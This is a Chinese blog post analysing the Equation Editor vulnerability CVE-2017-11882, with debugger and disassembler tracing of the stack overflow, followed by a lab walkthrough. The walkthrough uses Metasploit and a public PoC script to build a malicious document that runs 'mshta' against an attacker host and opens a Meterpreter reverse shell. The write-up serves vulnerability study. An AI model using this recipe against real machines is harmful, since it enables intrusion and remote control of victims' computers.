1. 程式人生 > >[漏洞樣本分析]CVE-2017-11882

[漏洞樣本分析]CVE-2017-11882

環境:

Win7(專業版)
office 2003 sp3(完全版)

工具:

Ollydbg IDA Pro PEid Kali-Linux metasploit

POC來源:

https://github.com/embedi/CVE-2017-11882

漏洞介紹:

安全公司Embedi最早報告了漏洞,他們在一個老舊的微軟工具Equation Editor中的EQNEDT32.EXE可執行程式找到“臭蟲”,而這個程式編譯於2000年,且一直存在與Office套件中。

這套工具的作用是插入數學公式,雖然在Office 2007後就被取代,但出於早期相容性的考慮得以仍然保留。

具體分析:

如果分析有錯誤,謝謝大家幫我指正
首先我們來用PEid看一下EQNEDT32.EXE這個程式
在這裡插入圖片描述
可以看出這是一個比較老的程式了(windows向下相容)
我們再來開啟一下POC彈出了一個計算機
在這裡插入圖片描述
我們先找到觸發漏洞的地方,開啟OD和word然後word中開啟公式編輯器,接著使用OD附加EQNEDT32.EXE
在這裡插入圖片描述
在這裡插入圖片描述
我們一般建立程序的函式常用的有CreateProcess…先在這個函式下斷點,然後開啟POC檔案

斷下來了觀察堆疊發現是我們目標
在這裡插入圖片描述
我們再觀察一下堆疊呼叫發現其實是WinExec呼叫了CreateProcess,我們再在WinExec下斷點,然後重複上面的步驟
在這裡插入圖片描述


斷下來,由於堆疊被破壞了所以我們往堆疊上面觀察看看有沒有殘留的返回地址
在這裡插入圖片描述
找到了,我們先看第一個
在這裡插入圖片描述
我們往函式上面找在函式頭下斷點,看看是函式裡哪一句覆蓋了堆疊
在這裡插入圖片描述
經過觀察我們發現是這裡覆蓋了返回地址,溢位溢位點就找到了
在這裡插入圖片描述
我們回溯一下看ESI是什麼,EDI當然是棧內的地址
在這裡插入圖片描述
然後我們再仔細觀察他的覆蓋地址 並不像是一個類Jmp es的地址
我們跟這個地址進去看 發現正是WinExce,剛好符合我們前面在堆疊觀察到的資訊
在這裡插入圖片描述
可見這個攻擊的設計者設計得非常巧妙

接下來我們使用IDA分析一下這處溢位的程式碼
把EQNEDT32.EXE拖進IDA 找到對應的函式41160F
在這裡插入圖片描述
發現這個傳入的引數就是拷貝的長度
也就是shellcode不能被有00被截斷
我們再來看一下這個POC的二進位制檔案
在這裡插入圖片描述


至此漏洞已經大概分析完了
接下來我們使用Kali-Linux來實際利用一下這個漏洞

啟動metasploit

msfconsole

search cve-2017-11882 搜尋指定模組 發現了一個(也可以使用POC自帶的rb檔案路徑是/usr/share/metasploitframework/modules/exploits/windows/fileformat)
如果搜尋不到可以使用apt update; apt install metasploit-framework 命令更新metasploit
在這裡插入圖片描述
use exploit/windows/fileformat/office_ms17_11882裝載指定模組

show options 檢視要設定哪些引數才能使用模組
在這裡插入圖片描述
set payload windows/meterpreter/reverse_tcp 設定payload 的型別
set lhost 192.168.1.85(Kail 系統的 IP)
set SRVHOST 192.168.1.85
set lport 4444 設定埠
set uripath 11882 設定資源識別符號
然後exploit 開始攻擊
等待後門程式連線
接著使用CVE-2017-11882.py 指令碼生成樣本(在我們下載的POC檔案裡有)
IP 必須是 Kali 虛擬機器的 IP
虛擬路徑必須是剛剛設定的 uripath 的路徑
python CVE-2017-11882.py -c “mshta.exe http://192.168.1.85:8080/11882” -o 11882.doc
在這裡插入圖片描述
然後我們在靶機開啟這個DOC 看是否成功
在這裡插入圖片描述
成功了 sessions 檢視連線資訊
在這裡插入圖片描述
使用 sessions 1(這個是要連線機器序號) 進入 sessions,開始操作後門
接下來就可以使用命令來對這臺機器做任何想做的事情了

至此 分析完畢.